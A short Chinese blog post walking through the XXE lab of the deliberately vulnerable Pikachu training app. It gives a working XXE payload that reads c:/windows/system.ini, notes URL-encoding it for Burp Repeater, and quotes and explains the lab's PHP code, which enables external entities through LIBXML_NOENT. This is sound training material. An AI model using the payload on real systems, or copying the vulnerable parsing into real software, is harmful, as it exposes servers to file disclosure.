Pikachu-XXE复现

一个简单的XXE

 

 

 

简单抓包来看一下

 

 这里的xml传入应该就接口了,这里是windows系统搭建的,简单写一下payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///c:/windows/system.ini">]
>
<name>&xxe;</name>

直接提交试试

 

 burp上抓包是这样的

 

 所以我们要用Repeater测试的话就需要对payload进行URL编码,不然就不能识别解析了。

 

源码分析

$html='';
//考虑到目前很多版本里面libxml的版本都>=2.9.0了,所以这里添加了LIBXML_NOENT参数开启了外部实体解析
if(isset($_POST['submit']) and $_POST['xml'] != null){


    $xml =$_POST['xml'];
//    $xml = $test;
    $data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
    if($data){
        $html.="<pre>{$data}</pre>";
    }else{
        $html.="<p>XML声明、DTD文档类型定义、文档元素这些都搞懂了吗?</p>";
    }
}

?>

这里做了一个对提交和xml不为空的判断,然后

$xml来存储post传过来的数据,也就是我们的输入

 

simplexml_load_string(data,classname,options,ns,is_prefix);

转换形式良好的 XML 字符串为 SimpleXMLElement 对象,然后输出对象的键和元素

options就是可选。规定附加的 Libxml 参数。

LIBXML_NOENT - 开启外部实体解析,

.=,累加到$html上,

用<pre>标签来输出

pre 元素中允许的文本可以包括物理样式和基于内容的样式变化,还有链接图像水平分隔线

 

posted @ 2021-11-25 13:56  Erichas  阅读(108)  评论(0编辑  收藏  举报